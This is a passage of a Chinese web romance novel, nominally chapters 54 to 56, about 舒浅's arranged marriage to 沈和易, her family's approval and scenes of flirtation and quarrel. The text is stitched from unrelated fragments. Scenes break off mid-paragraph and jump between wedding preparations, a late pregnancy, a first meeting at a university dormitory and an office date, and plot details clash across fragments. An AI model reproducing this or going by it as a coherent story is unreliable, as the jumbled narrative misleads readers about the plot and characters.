他视线一瞥,将安全带给她解开,嗓音混着笑,“我这人愚笨,不聪明,舒小姐不如直接告诉我,怎么了解起来比较容易。”
不是她多想。
而是因为她的视线偏巧就落在他的唇上,一时间舒浅觉得他的话极具暗示意味。
她眼珠动了动,有些刻意的清了下嗓,手落在他的肩膀上推了下,故作腔调,“你见过有考官透露试卷和答案的吗?”
周围人也在等着。饭后两个人多坐了会儿。
舒钧和沈和易在茶桌上聊天,舒浅离着远,听不太真切两个人交谈的内容,沈和易又是背对着她坐,看不见表情,她心中的好奇便更多了些。
会聊什么呢。
总不会拉着他在聊什么商业正事吧。
顾忌着坐在闻芷兰旁边,她也不好一直看着那边。
“有回沈家吃过饭吗?”闻芷兰看着眼前心不在焉的人问道。
舒浅犹疑的将视线收回,眨了眨眼,实话实说,“还没有。”
“他怕我会不自在,也怕我想家,就先回来看看您和爹地,等过几天再去他们家。”
自己的女儿,没人会比她更了解。
闻芷兰看穿了她的小心思,“那浅浅想家吗?”
舒浅神情微微愣住,垂下的眼帘遮盖住了明亮的双眸,复杂的情绪翻涌上来,混盖了些许的暗淡,“是想家了的。”
闻芷兰轻抬眼睑,“那就常和和易回家来。”
她对沈和易,从前或多或少是带了些偏见,这段时间她以一个岳母和长辈的身份重新的了解他,倒是有了重新的认识。
舒浅捕捉到她话的意思,笼罩在心头的一丝阴霾渐渐散开,唇边扬起笑,“妈咪你同意了?”
在提交申请和公示期时候,沈和易其实有经常带她出去,每次闻芷兰都是默许的,但一直都没有明确的说过什么。
闻芷兰站起身,收起嘴角的笑意,话音里带着傲娇,“都结婚带回家了,你说呢。”
“既然心里有了决定,就好好经营。”她顿了下,“有不开心要跟妈妈说。”
舒浅睫毛轻颤。
自从她回国以后,母女俩似乎一直都是对峙的,这是少有的温情时刻。
一晚上的记忆都在脑中回荡,颤颤巍巍,字字句句都可以激起涟漪。
能有这样的转变,有妈咪自己的原因,有爹地在中间的做的调节。
至于剩下的一部分。
与他自己有关。
凡是出现在他们俩面前的时候,沈和易的举止言谈总是挑不出错的,沉稳又得体。
那看在这点上,好像给点奖励是应该的。
外面的灯光悠悠的照进藏匿在夜色里的车中,影影绰绰,两人都陷在模糊不清的阴影中。
好在,他只是定定地看了她几秒,而后意味深长地说了句:“是不认识。”
“就是看到戴的项链一样,觉得巧。”
话是这么说,那眼神里的促狭意味却是有增无减。
禹星宇视线在两人身上流转了下,“是挺巧的。”
黎岑瑶坐在位置上伸了个懒腰,“有点饿了,要不要去吃个宵夜?”
舒浅眯了眯眼,“你们去吧,我不怎么饿,太困了,想要睡觉。”
才十二点过,这个时间其实不算很晚,但是她回来这一个月被迫调了生物钟,除去最近这几天,其他时候作息都规律的很。
黎岑瑶有点遗憾的说:“那算了,我们回家随便吃点什么好了。”
舒浅抿唇,摇了摇头,“你跟他们去吧,我回家。”
两人原先约好今晚回黎岑瑶的公寓住,只可惜牌局结束,身上那股兴奋劲也随之褪去,只剩下疲惫,舒浅说:“免得明天还要早起折腾。”
她现在回去,轻手轻脚一些还不会惊扰到人,要是明早回去在楼下客厅撞见…
只是想到那个场景,舒浅就打了个寒颤。
他道:“大晚上不回家,一个劲的在外面玩,还顶着个大肚子。”他的语气是担忧的,“我真的很怕你有危险。”
“七个月了,舒浅,你上点心。”
他这一辈子,起伏飘荡,因为私生子的身份,受人辱骂,可他不在乎。
受亲手父亲的指指点点,他也不在乎。
就连合作伙伴的背刺,世间的不公与冷漠,他通通不在乎。
因为他知道,那是人性。
人都是趋利避害的动物,只有掌握主导权,他才会臣服于你,至少表面上,是如此。
可面对舒浅,在她说出她要离开的瞬间,他不知道该用何种情绪来表达自己的内心,他不想让她走,想让她一直待在自己身边,就像折翅的鸟。
所以他刚才说的话,只是为了稳住她的情绪,抑制她的多想。哪句话是真,哪句话是假,恐怕,他自己都分辨不出来。
有时候。
谎话说多了。
就成真的了。
第 54 章 第 54 章
舒浅想了想,暂做答应他的请求。
反正既然他已经开口,证明事情是有转机的余地。
前不久她还萌生出生完孩子后,沈和易会找一个新的理由拒她离开,现在也已经是不攻而破。
沈和易见舒浅再无乱想的念头,随后道:“去选个产房吧,舒浅,虽然vip房都大差不差,但我更想让你亲自选择一下。”
精神价值大于一切。
舒浅嗯了声,最终选择了个向阳的产房,房间很大,正值下午,迎面的阳光要将她晒透。
只她一个人。
因为沈和易的公司出了点事。
她坐在床边,头发上镀了层金色的光芒,掏出手机,给高晨发:产房。并附带着视频。
舒钧和闻芷兰整理了下衣装起身相迎。
舒浅跟在后面长舒了口气,转而脸上挂起含蓄的笑。
无人看得出三人刚经历过了一场算不上愉快的交谈。不过要是每天睡醒都能这样近距离的欣赏一番,也不是不行。
她忘了之前在哪里看到过说看帅哥可以延长寿命。
要真是这样的话,她估计可以活好久。
蹭的一下有个词跃然脑中。
色令智昏。
医学院,男生宿舍楼,刚开学,进出不受性别限制。
舒浅和秦晓一起报的道,知道他宿舍在6栋409。
四楼走廊,和一色都是男生,大夏天,空气中飘着汗臭味,颜月有点难受。
“为什么不在下面等我?”舒浅看出她不舒服。
“想看看男生宿舍什么样子,以后就没这个机会了。”
颜月挽住她胳膊,对周围集中而来的视线感到不适,还有男的吹口哨。
不过她很快发现,他们看的不是她,而是舒浅。
409宿舍在拐角,远远看去,门是敞开的,她们快到时,后方有两个男生嬉笑打闹,跑过她们身边,故意用力撞了舒浅一下。
舒浅看起来瘦,其实步子很稳,本来只是晃了晃,不料颜月受惊脚步绊了下,下意识紧紧抓着舒浅。
舒浅被她拽着不受控往后倒,不过没有摔下去,身后好像有人路过,伸手扶了她一下,她没站稳,背撞到那人身上,胸膛硬韧,明显是个男人。
浅淡的冷松香将她包围,混着苍兰和青柠的气息,和冽干净,一下就盖过了空气中黏稠的汗味。
“没事吧。”
磁沉的少年音,略低,偏哑。
“没事,谢谢。”舒浅心有余悸,转身道谢,看和对方长相后,惊讶睁大眼,“……沈和易?”
夕阳余晖穿过玻璃窗,给喧嚷的走廊铺上不规则的碎块。
男生背对窗,很高,身形瘦削,光线勾勒出好看的脸部轮廓。
沈和易半敛睫,漆黑的眼,静静和她对视,情绪不明。
“小心点。”他收回扶着她的手,淡淡道。
颜月也缓过来了,看着沈和易,脸红了红,小声对舒浅道:“阿浅,你男朋友好帅啊。”
舒浅回神,忙摇头,“不是不是,你误会了,他不是我男朋友。”
他们动静不小,秦晓踩着拖鞋懒洋洋从宿舍出来,“谁在外面……阿浅?你怎么来了?”
舒浅还没说话,他笑着把室友都叫出来,“来正好,介绍一下,这是我女朋友!”
他挨个给舒浅介绍室友,轮到沈和易时,秦晓笑嘻嘻搂过她的腰,语气得意。
“这位你一定听过,芜江另一个状元,沈和易,和我们一个学校的,特牛逼一人,竟然也成了我室友。”
舒浅怎么可能没听说过沈和易,和她的名字一起被学校滚动播报过无数遍,不过见面还是第一次。
她朝沈和易微微一笑,“初次见面,你好,我叫舒浅,刚刚真的很谢谢你,我男朋友就麻烦你多多关照了。”
沈和易许久没反应,久到舒浅以为他没听和,正要开口询问时,看到他细密的长睫毛轻轻眨了一下,眼底似有薄雾散开,瞳色浅淡至极。
“嗯。”
舒浅闭上眼睛,试图平复一下自己的心情。
过了几秒,琢磨出点不对劲来。
有她这样的漂亮老婆在怀,他竟然可以睡得这么安稳!
不应该像小说里写的那样,难以入睡,一夜起来洗好几个冷水澡吗?
想到这,她又睁开眼,越看越觉得气。
昨晚吵醒她不说,现在她都醒了这么久了,他还能睡得着,心里有些气不过。
舒浅动作也不再小心翼翼,把手臂从他腰上抽回就要推开他。
几乎是她挣开的同一瞬间,眼前的人就睁开了眼,扶在她腰后的手一个用力让她退后的动作反方向进行。
沈和易挑眉,笑着说:“抱够了,看够了,就要推开?”
“谁教你的?”
小心思就这样被人戳穿,舒浅心底一慌,极力的想要从他的眼睛中找寻刚睡醒的痕迹。
却是失望而归。
她别扭了下,问:“你什么时候睡醒的?”
沈和易看着心情很好的样子,隐隐带着笑意,故意逗她:“宝贝该问我是什么时候睡着的。”
真是要疯了!她承认。
今天闹他,自己的情绪占大部分原因。
沈和易扯了下嘴角,“再长时间都哄。”
他语速放慢,“但我本意是想让太太能够开心些。”
舒浅听了一时语塞。
说不出什么别的。
毕竟离开港城,她确实心里说不出的轻松。
不知道是因为隐隐的期待,还是因为深宜的建筑风格相较之下就让人觉得喘息自由。
亦或许两者都有。
最后目的地揭晓,是家海景餐厅。
她之前倒是有跟黎岑瑶提过有时间过来吃,但一直没腾出空。
看着女生眉眼间的笑,沈和易的脸上也沾染上几分暖意,“心情有好点?”
舒浅撩了下耳边的头发,点头嗯了声。
原本离开了熟悉的地方,两人的相处更自然了些,只是谁也没想到,在这也能碰见熟人。
准确讲是对沈和易来说的熟人。
“和易。”
陌生的声音,低沉又冷清,但称呼却用的熟稔。
舒浅循声看过去。
打量是下意识的。
陌生男人与自己身旁的这位身高差不多,一身贴合的西装,打眼看去就难掩矜贵模样。
五官生的硬朗,双眸狭长,也是在人群中出挑的模样。
只是说不好因为什么,舒浅对他难生好感。
男人迈着步子靠近,似是要过来交谈一番。
沈和易眼神暗了暗,应和了声:“大哥。”
大哥?
舒浅侧目,还处在片刻的疑惑中,就被人揽着腰往怀里带了些,突然的亲密举动,她下意识的抓了他的手臂,不自觉的颤了下。
意识到人已经走近,她脸上又挂上了温婉的笑。
沈嘉茂唇边浅浅扬起一抹弧度,幽深的双眸轻轻眯起,“没想到这么巧,能在这碰见你们。”
他视线落在舒浅身上,“想必这就是弟妹吧?”
两人结婚传出那么大的动静,他怎么会不知道她这个刚进门的新媳妇长什么模样。
他怎么揪着这个称呼不放啊!
纵然心跳现在犹如吃了跳跳糖一般没有着落。
舒浅面上还是副云淡风轻的样子,“哦,那你什么时候睡着的?”
“抱着太太在怀,自然是一整夜都睡得不好。”
沈和易这句话,倒是取悦到了她,舒浅眯起眼笑,“是吗?那真不好意思,我睡得还挺好的。”
沈和易俯身到她耳畔,极具暗示意味的说:“太太一夜安眠,全靠我定力好。”
喘息的热气有意无意的往她耳朵里钻,酥酥麻麻的感觉仿佛从耳边传递到心间。
让本就不规整的节拍更乱了些。
按照正常的礼数,舒浅是需要在这样的场合回避的,等到妈妈同意后才能露面,但他们的这桩婚事有所不同,也就不用在上面过多的遵照规矩。
她也一早就跟沈和易说过,在流程上一切从简,只要该有的礼数和诚意不缺就好。
但实际上,沈家所做的准备,要比舒浅想得到的还要更为隆重正式一些,光是身后拿着聘礼的人就少说有三四十位,她视线收回来些落在沈和易身上。
回港以后两人相见的次数不算少,但她还是第一次见他穿着这样正式,剪裁合体的西装贴合在身,衬出男人优越的比例与身形,光影下那双幽黑深邃的双眸蕴着温柔的笑意。
看上去与平日里她所见的模样不沾半分关系,即使是他随性而来的恣意气息现在也荡然无存。
也难得会从他身上看出与“沉稳”一词的贴合。
是副会让长辈满意的模样。舒浅被架在这。
她沉了口气,“有啊,那我这三个月住哪间?”
她要是没记错,这房子除了她的这间和他的主卧,还有两间房。
沈和易双手环在胸前,眼神朝着另一侧瞥过去,“搬家的时候,早就将舒小姐的放去了主卧。”
舒浅往前走了一步,扬了扬头,与他视线相对,“门锁坏,应该不是沈先生故意为之吧?”
“我在你心中就落得个小人形象?”他直起身来,接着说,“倒不至于用这样的手段。”
“新婚夫妻睡在同一间卧室,应该很正常吧。舒小姐这样抗拒,是担心自己把持不住,会对我做点什么?”
舒浅本就不喜欢占下风,他刚一句句的追问,确实是在她这起到了作用,她迈开步子朝着主卧走过去,“不至于,沈先生对自己有点过于自信了。”
睡就睡,她还会害怕不成。
沈和易收敛起笑容,跟上她。
他房间和她的那间差不多大小,风格也都大差不差,只是上次来的时候舒浅走到门口往里看了眼,是叫人觉得有些冷淡的白灰配色,好看是好看,就是觉得有些闷。
但现在推门进来,眼前确实一片暖白,与她的那个没什么不同。
迎面而来的淡然香气,不自觉的叫人情绪放平缓,舒浅在门口站了几秒才走进去,衣帽间里已经腾出一面来放她的衣服。
今天本就不清闲,算来算去在外折腾了一天,她早就有些累,到家时候就只想洗个热水澡好赶紧睡觉。
既然住下,也没必要再故作矜持。
舒浅没矫情的拿了睡衣就往浴室走去,全程没给房间里的另一个人留半分眼神。
热气裹挟全身,她脑袋晕晕乎乎的,用了最快的时间洗漱。
出来的时候她捋顺了下头发,将披散咋背后的长发顺到了前面,耳边的碎发遮挡住她刚被热气蒸过的粉润的脸,舒浅看着床上的人说:“好了,你去洗吧,我要睡觉了。”
她抱着从衣帽间拿出的自己的被子放到床上,说罢就要躺下。
沈和易对她要分两床被子的举动,并没有什么异议。
他起身,贴心的关了房间的灯,留了盏不算明亮的小夜灯,看着床上将自己裹着严实的睡在床边的女生,眉眼露出笑意,“我睡觉还算老实,舒小姐也不必这样亏待自己。”
舒浅没动地方,被子围得紧实,她说话声音也有些闷,“你话好多。”
脚步声越来越远,浴室里的水声稀稀落落在耳边响起,像是有什么安眠的效果,迷迷糊糊间也说不上自己是睡着了还是没睡着,只感觉身边的床沉了沉,似乎还听见了很轻的一声晚安,再往后就什么都记不得。
像是感觉到她的注视,沈和易也将视线偏了过来,目光相对的一瞬,他唇边扬起浅浅弧度。
明明没有言语,两人之间也谈不上默契,舒浅却从他的眼神中读出了叫她安心的意味。
双方父母寒暄过后,沈和易凑上前来与舒钧和闻芷兰打招呼,谦虚的话语和叫人觉得清朗的声线传入耳中。
或许是因为知道闻芷兰对他的印象,舒浅无端的捏了把汗。
可一番交谈下来,闻芷兰的态度还算得上是和蔼,也不像是惺惺作态。
倒像是她过分担心。
待到聘礼都搁置好,屋内便除去了佣人。
这种事上舒浅和沈和易自然是陪衬,而且谈话间也是有意的在支开他们两个人。
为表两人的感情还算不错,舒浅顺势的就提议要带着沈和易在周围转转。
外面骄阳当空,即使有着树荫的遮挡,但依旧是炽热烤人,还没走出几步路就感觉被热气围困。
舒浅抬手在脸边扇了扇,眸光一转瞥向身边人,“你穿这么多肯定热了吧,那我们坐下来歇一歇吧。”
相比她身上的长纱裙,沈和易穿得是要多一些。
沈和易笑了下。
明明就是自己热了,还要装模作样的扯到他身上。
不轻易服软,是大小姐的作风。
这让沈和易意识到,舒浅生气了。
没想到她能发这么大火,真是让人难办啊。
不知道后面要用什么行为来哄她。
至少现在,态度佯装的温和一点吧。
他还在拉紧舒浅的手:“你真的,别胡说八道了,舒浅,我这么爱你,怎么会做出伤害你的事。你听信了哪个小人的谣言,居然敢质疑我们的爱情?”
“我说了没有就是没有,舒浅,你相信我,我是你的老公,你的丈夫,和你户口本上的人。”
“未来我们还有孩子,我们要共度一生,一生一世在一起。”
“等死后,我们还得葬在同一个墓碑下,别闹的这么僵了,好么?”
他低头吻了吻她。
第 55 章 第 55 章
被舒浅避开了。
甚至推了他一把,力度不轻。
甜言蜜语没有侵蚀她的大脑,反而让她越来越清醒。
反抗,抵抗才是她的主要目的。
他们已经结婚,共处在同一张户口本下,舒浅闭了闭眼睛,脑海不可避免的又将过往流年过了一遍。
甚至说,这些场景,已经过了千千万万遍。
一开始的她,只是一味的逃避,幻想着让自己肩膀上的重任轻一点。
但高晨一语道破,点破她。
她不应该。
别人都能顺藤摸瓜发现真相,她凭什么要充耳不闻,配合他演戏。
这样很好玩吗?
还是说,自己只是利用他的关系和地位,帮母亲治病。
情绪上头,加上有酒精加持,她的话愈发多了起来,像是要将心事都诉说干净,“前几天还提出那样的事情,你知道我不喜欢那样。”
那天最后,舒浅听完他所有话,没给出什么答案,只是说给她点时间考虑。
转眼一过就是一个星期。或许是她那晚的话,真的起了点作用,后面几天舒浅都觉得耳边清净,闻芷兰不再同她提及有关联姻的事情,舒钧也不再与他聊起工作上的事宜。
她遵循着回国以后就变得规律的生物钟,每天照常起来与他们俩同进早餐,等到家中只剩下她一个人时候,舒浅便钻回房间睡个回笼觉,空闲的时间就看看电影翻翻书。
这样的日子过得清闲又自在,以至于在日复一日的欢愉中,叫她将与人商定好的事情忘却在了脑后。
可生活不总是这样一直遵循心愿的。
就像是无风的海面,看着波澜不惊,实则早已在无法窥探的地方暗流翻涌,潜藏已久只是为了觅得一个可以潮涨的浪。
周五晚上,舒浅穿戴整齐以后在房间的窗前驻足,她视线下落,庭院里一片热闹。
舒浅在原地又站了几分钟才走到热闹的场地。
或许是因为刚见过沈和易,加上他第一次这样正面的出现在闻芷兰面前。
舒浅总是有些说不出的心虚在,在舒钧身旁同人交谈时视线总是有意无意的在两个人身上游走。
倒是真有点地下恋的感觉。
尽管已经极力的忍住,但她还是控制不太了,次数多了舒浅担心暴露些什么。
找了个借口就躲进了屋里。
反正今天该见的人,该商讨的事情,她都已经做好了。
一直等聚会到尾声,舒浅才又打起精神走出来。
这一出来就给她迎面上的视觉冲击。
舒钧,闻芷兰,沈鸿祯,沈和易。
四个人正聚在一起。
她抬脚就朝着那边走去,只可惜靠近的时候对话已经结束,就听到了个尾巴。
“那就等后天,我再来登门拜访。”沈鸿祯说道。
舒浅听着心里一惊,攥紧了手。
说不慌是假的。
她眼睛瞥向闻芷兰,看见女人脸上持着温婉端庄的浅笑,一瞬心里又松了口气。
送客的时候,沈和易最后看向了她,眼神将将对上,舒浅就避开。
却没躲掉的撞上了舒钧的眼睛。
待到一切都归于平静,闻芷兰洗漱的时候,舒钧把舒浅叫到了书房。
父女俩的关系一向相处的还算好,舒钧除了在公事上对她要求严格,其余时候都很宠她。
“你们见过了?”舒钧问道。
舒浅坐在他对面,桌下的手已经绕在一起,“和谁见过了?”
“沈先生已经同我讲了。”
今晚沈鸿祯特地来找他去书房交谈,他才得知的。
舒钧声音低沉,与她预先想的一样,没有怒意,没有批评,语重心长的同她说,“浅浅现在长大了,这样大的事情也敢背着爸爸妈妈做了。”
舒浅低下头,不吭声。
舒钧舒了口气,想说些什么。
一场私人宴会正在楼下有条不紊的拉开帷幕。
圈子里常有这样的聚会,偶尔几场设置在私宅,也是为了更好的拉进距离方便交谈。
舒浅原以为今天的也是再正常不过的例行规矩而已,却在看见几个熟悉面孔以后才察觉到这一场的真正用意。
恐怕是为了以此作为契机,好能考察一下早就拟定好的几位联姻对象。
她就说最近两天过得未免有些太过如梦似幻。
她早该料到的,只要是闻芷兰动了想法的事情,是不会遵循旁人的节奏的,她会叫一切都在她的掌控下发展。
很显然她的进度与她所想的不符,所以现在她亲自动手了。
看着视线中穿着一袭绸缎礼服站在西装革履的男人身旁,举手投足都尽显贵气的女人,舒浅忍不住的在嘴角牵起一丝苦笑。
期待又落空的人,该是她自己才对。
“叩——”轻轻的敲击声在房间门口响起。
“浅浅,太太叫我来提醒你,是时候该下楼去了。”钟姨的声音透过门缝传进她耳中。
“我知道了,这就去。”
她站在门板前,深吸了口气,饶是心中有些低落的情绪在,脸上依旧盛着温婉大方的笑意。
既是在家中举办,那整场的主角是谁也就不言而喻。
舒浅到了楼下,主动的拿起酒杯走到舒钧跟前,在他的带领下,将今日来的人见了个大半,但也并未搜寻到自己想要见的那道身影。
这期间如果不是闻芷兰一次次频繁的同她提及,舒浅觉得自己还能再晚一点见到眼前的人。
此起彼伏的蝉鸣声中记忆的潮涌退去,只剩下落日余晖中的两人,大抵是因为对今晚要谈论的话题彼此都心知肚明,气氛竟然出奇的和谐。
舒浅四处张望了下,扬了扬头说:“先离开这吧。”
她左顾右盼的样子,像极了做了坏事怕被父母发现的学生,沈和易忍不住开口逗她:“担心被爸妈发现?”
沈和易说:“又不是在早恋的中学生。”
舒浅出门的时候特意问了下阿姨舒钧和闻芷兰是否在家,虽然得到的是否定的回答,但她反倒心里慌乱了起来,怕出门的刚好撞见,这会儿心里正慌着,但被他轻而易举的看穿心思,她怎么会承认,舒浅眨了眨眼反问:“难不成你要跟我在这里谈?”
沈和易笑了下,从另一边绕过来给她开车门,“那就当舒小姐同意与我共进晚餐。”
等他上车,舒浅犹豫了一番还是决定纠正他,她侧头说:“你还是别叫我舒小姐了。”
舒小姐,舒小姐。
从别人嘴里说出来她都觉得没什么,但是在他这,就是说不出的别扭。
不像是什么礼貌的称呼,像是有意为之。
沈和易闻言挑眉,“不喜欢舒小姐这个称呼?那叫什么?”
黎岑瑶听她说完,叹了口气,无奈的开口:“其实如果最后躲不过联姻,港城这些家里面,沈家是最合适的,各方面与你家都相当。”
舒家和沈家都有着百余年的根基,这些年过去都没有走下坡的趋势,甚至在这些小辈长起来以后,还越来越好,两家实力难分伯仲,在港城无人能撼动。
“但他们家的老二不可以,就刚跟你说了要你离他远点那个。”她接着说,“不过这都是后话了,到时候再说。”
她归还麦克风以后,耳边的音乐声就变的吵闹起来,剩下的人玩得正热闹,无暇顾及女生之间的悄悄话。
舒浅还没等做出什么反应来,黎岑瑶就想起什么似的又开口:“你前几天从家出来的时候,不是刚好是他们两个人出国的时候吗?”
“嗯,今天刚回来,这不是刚发消息给我吗?”舒浅回道。
每次都是这样的,在给出她要求的同时,也会相应的给出她时间。
闻芷兰和舒钧总是会去到别处,留给舒浅独处的空间,但她不愿在家,就会跑去家里别的房子住。
等到他们俩回来还不见她人的时候,就会发消息询问一下她的动态,但不会过多的催促,什么时候她回家了,就证明她想好了。
长此以往,像是什么约定俗成的事情。
“那不是正好么,反正他们也不会抓你回去。”
舒浅抬眼看了下时间,把酒尽数喝下,啪的一声将杯子落在桌上,眸光闪动,夹杂着点任性的开口:“不管了,先玩再说!”
她拉着黎岑瑶加入到另一边的热闹中,后来一行人觉得空间太小不尽兴,又转场到酒店。
禹家在里面占股,所以顶层的套间一直以来就是禹星宇的私人空间,除了得到准许拿到卡,否则是无法乘电梯上来的。
不会有外人来打扰,气氛也就随意,都放得开。
玩了好几个小时,那些低沉的情绪早就不知去向,此时此刻舒浅的心思全部都在眼前的牌桌上。
她不是什么贪心的人,不求赢多少,但也从不愿输。
眼下,手边的筹码丢出去大半,她正琢磨着怎么拿回来。
禹星宇坐在她对面,今晚赢了最多,嘴角难压笑意,“怎么回事,往我这送钱呢?”
舒浅抬眼看着他,扔给他一句:“你还玩不玩?”
“玩啊。”
舒浅嫌他吵,“那就闭嘴。”
桌上其他友人催着:“快快快,继续,好不容易找到点感觉。”
高晨认真的想:“这确实是个问题。”
“不过沈和易看着挺成熟的,怎么做法这么小学鸡,这还是我天天在电视上看见的人吗?”
舒浅无语:“小学生做法多着呢……”
聊了挺久,沈和易都没有闯入,也许是刚才的吵架,起到了震慑作用。
果然还是要硬气一点,才能不被男人拿捏,这不,想得到的,自己都已经得到。
嗯……
等等。
她摸了摸枕头后面。
她的法律凭证呢?
第 56 章 第 56 章
舒浅想都不用想,就知道这则法律凭证,是沈和易在她睡觉的时候,偷偷拿走了。
没想到这个大少爷嘴里没一句实话,行为举止,也不太行。
她咬咬牙齿,也有些懊恼,低头沉思,总后悔自己睡觉前,不该把这则凭证放那么明显的位置。
但枕头底下,也不明显吧。
或许是,只要她还呆在这个房间,沈和易就有方法找到。
这个男人……
是有透视眼吗?
舒浅脸上晃过一丝错愕,她看着眼前人,语气中掺杂着不确定,“今天?”
“舒小姐理解一下,我这人缺少安全感,提早一天,我就早安心一点。”沈和易说道。
“我还能逃婚不成?”
沈和易看着她拧眉的模样,嘴角牵起笑意,决定不再逗她,“后天。”
他这两天早将婚约的事情先与家里人挑明,今天沈鸿祯从国外赶回来,一大家人又是做了好一番的商讨才确定好最后的时间。
“你觉得可以?”沈和易问道。
舒浅想了下。“舒小姐真是体贴入微。”
“这一点上当然是比不过沈先生。”
说罢,舒浅眨了眨眼,随手拿了片掉落的叶子在手中摆弄,在长椅上坐下来。
禹星宇轻啧了声,这次倒是没立刻为自己辨驳。
黎岑瑶乐得看热闹,八卦兮兮地追问了句:“快别藏着掖着。”
“某人最近连人影都见不着,叫着出来打牌都说没时间,我当是忙什么呢,结果是在深宜和港城两地跑,在酒吧里忙了个遍。”
“哎,你别说,其实这么玩也挺累的。”禹星宇说,“要不是为了跟沈和易重新混得熟一点,我才懒得有事没事就回港城来,哪次回来不得被骂一顿。”
桌上的人都知道禹星宇爸妈向来对他管得严,听他自己这样说完止不住的调侃,无人在意的角落,舒浅吃饭的动作顿了顿。
“沈和易。”黎岑瑶跟着重复名字,蹙起眉,“沈家那个老二?你什么时候跟他扯到一起去了?”
“高中时候的学长啊,本来不就认识,这几年在国外联系少了点,回来重新熟络一下。”禹星宇大致的说了下缘由,“而且你哥我这不是接手了个公司,最近谈的项目在沈家手里,盯上的人挺多的,总得想点别的办法吧。”
黎岑瑶接过他的话,“那你找他干嘛,他又不顶什么用。”
“再怎么说也是沈家的人,想帮的话不至于帮不上。”
舒浅在一边听着没说话,隔了好一会儿,一直到桌上换了话题,黎岑瑶才凑到她面前,小声地跟她说话。
“你刚回来没多久,好多都还不了解。”她接着说,“不过你对沈和易应该会有点印象?”
舒浅眼睫轻颤了下,眸中晃过一道难以捕捉的不自然,转瞬点点头嗯了一声。
黎岑瑶没理会,自顾自地说起来:“他这几年可是港城圈子里的红人,三天两头上媒体头条。
你这一走就是六七年,不知道也正常。我以前也没怎么听说过,就知道有这么个人。听说还是在京城长大的,前几年才回港城。”
舒浅随口问了下:“在京城长大?”
“嗯,听说是这样的,不过沈家怎么会不把孩子养在身边呢?”黎岑瑶不解地问,她声音小,听着就像自言自语。
舒浅也就没搭腔。
“反正你离他远点。”
黎岑瑶神色忽然严肃下来。她转变的太过突然,舒浅还反应过来,“怎么?他惹到你了?”
她了解黎岑瑶,这么多年来她都鲜少会对哪个人有这样的态度,除非是触碰到她底线,或者是做了什么过分的事情叫大小姐不痛快的,才会得到这样的“封杀”待遇。
“倒也没有惹到我,我们俩都没有打过什么照面。”黎岑瑶说,“就是单纯的没什么好感。
“虽然我是个颜狗,他又刚好长的够帅。”她说得起劲,“个子也蛮高的,最少也有185以上了吧,身材和比例看着也不错,这配置要是放在别人身上,我肯定就要搞到手据为己有一段时间,但是是他,就算了吧。”
绿荫树下,女生一头乌黑的长发披散在肩头,娇俏的面容叫人忍不住将视线长久停驻,浓密的睫毛在眼下投出一片阴影,随着呼吸频率缓缓煽动,只是轻轻一颤就将眸底的清滢透露的彻底,宛若湖面上的浮光掠影。
沈和易侧目,清隽的眉眼染上了几分柔情,像是想到什么一样,微微勾了下唇。
坦白讲,这样的氛围下最适合交心,但他们两个似乎没有什么值得聊的话题,亦或许是都默契的没去打破这难得的安静。
半晌。屏幕里的电影还在放着,舒浅开的声音其实不小,但都比不上他的话要清晰。
就像是现在,她坐在沙发上转过头,微微扬起下巴看着眼前的男人,水润的眼眸中就只有他一样。
耳边那些声音也在此刻被弱化,就只能听见他的。
沈和易俯身站在她身后,两个人的姿势,很像是舒浅被他圈在怀里,灼热的气息还在彼此之间留有余温,混在呼吸间显得暧昧不清。
太近了。
距离太近了。
这位子,她坐得要心安很多。
就是有些太忙了。
难得今天她能决定早点下班。
工作是做不完的,但人不能一直都在工作。
劳逸结合这松弛感,她还是会给自己留清闲的。
舒浅坐在桌前,刚把文件合上。
手机就响了起来。
“请问小舒总忙好了吗?”
清润的声线响起,沈和易故意将尾音拉长,听着慵懒。
中午的时候两人通电话定下了出去吃晚餐,舒浅瞥了眼时间,刚刚好。
她迟疑了半分回他的话,“或许,应该忙好了吧。”
“但她好累,可能就不会太想去和不太熟悉的人吃饭了。”
“这样,那好遗憾。”沈和易说道。
话音刚落,舒浅看着被挂断的电话,眉心一拧。
就这样挂了?
这就结束了?
迟疑之际,同一个人的电话又打进来。
她多多少少憋了股气,还在接和不接间做选择,但似乎有人忍不了这短暂的思考时间。
办公室的门,先一步的被人推开。
刚还惹她有了情绪的人,现在手上正拿着束洋桔梗站在视线所及处。
沈和易看了眼腕表,挑了下眉,“刚过下班时间,现在不是小舒总了。”
“我来接舒小姐约会。”
近到她望向那双深瞳时会下意识想要向后扯开。
是不该有的贴近。
他的话也是。
总是玩笑的样子,真假掺半,说得犯规,仿佛他们真的是彼此许下心意的新婚夫妻。
卷翘的睫毛轻缓的抬起,露出下面那双蒙着层柔光的眼眸,舒浅眼珠动了动,“怎么补?”
沈和易似是没想到他会这样问,原本要起身的动作又止住了,他含着笑,在做出动作前,给出她提示,“这样。”
他的突然凑近,舒浅没躲开。
只是一瞬,他身上的柑橘香闻着更近更浓烈了些,混着淡淡的薰衣草,像是情侣间无需多言的暗语。
不用直白的袒露,但都了然心间。
这个距离,好像下一步要做什么,已经很明显了。
要亲吗?
舒浅停下转动树叶的动作,转过头,“上次聊到婚礼的事情,你跟他们说了没。”
“嗯,先准备着明年再办。”沈和易回道。
舒浅忍不住的问:“那你跟家里人说婚约的时候他们什么反应?”
“要是今天见过我以后,对我印象不算好怎么办?”
虽然是联姻,但是避免不了日后要频繁的接触,想到这些事情,舒浅还是不由的有些担心。
沈和易看着她急切的模样,低低哼笑道:“舒小姐也会担心这些?”
回想起她口中提及的画面,他实话实说,“婚后我们单独出来住,不用担心经常与他们碰面。”
“至于印象。”他欲言又止,叫人悬了口气。
“凤凰山下雨初晴,水风清,晚霞明。一朵芙蕖,开过舒浅浅。”
“应该没有人会对舒小姐不满意。”
她的名字确实是出自他刚说的词句,除去家里人几乎没人知道,这样毫无预料的从他嘴里听到,叫人心尖一动。
舒浅点了点头唇边露出浅笑,不得不承认她确实有被恭维到。
沈和易话锋一转回道自己身上,“我倒是感觉该担心的人是我才对。”
“担心什么?”
“担心。”他侧目看着她,“不能叫岳母甘愿把宝贝女儿交付给我。”
舒浅听着神色一怔,约摸着时间应该也过得差不多,她偏过头站起身,“那就看沈先生有没有能力过了这个难关了。”
他们迈进门的时候屋内的对话仿佛也才刚刚结束,看上去该是一切都进展的顺利。
至于具体都说了什么舒浅不得而知,只是最后交代下来的时候,一切的流程和标准都符合她预先的设想。
像是终于尘埃落定。
那双明眸扫过远处,卷翘的睫毛掩盖了眼梢透露出的茫然,转瞬又化为坚定,她给出答案,“嗯。”
不能再拖下去了。
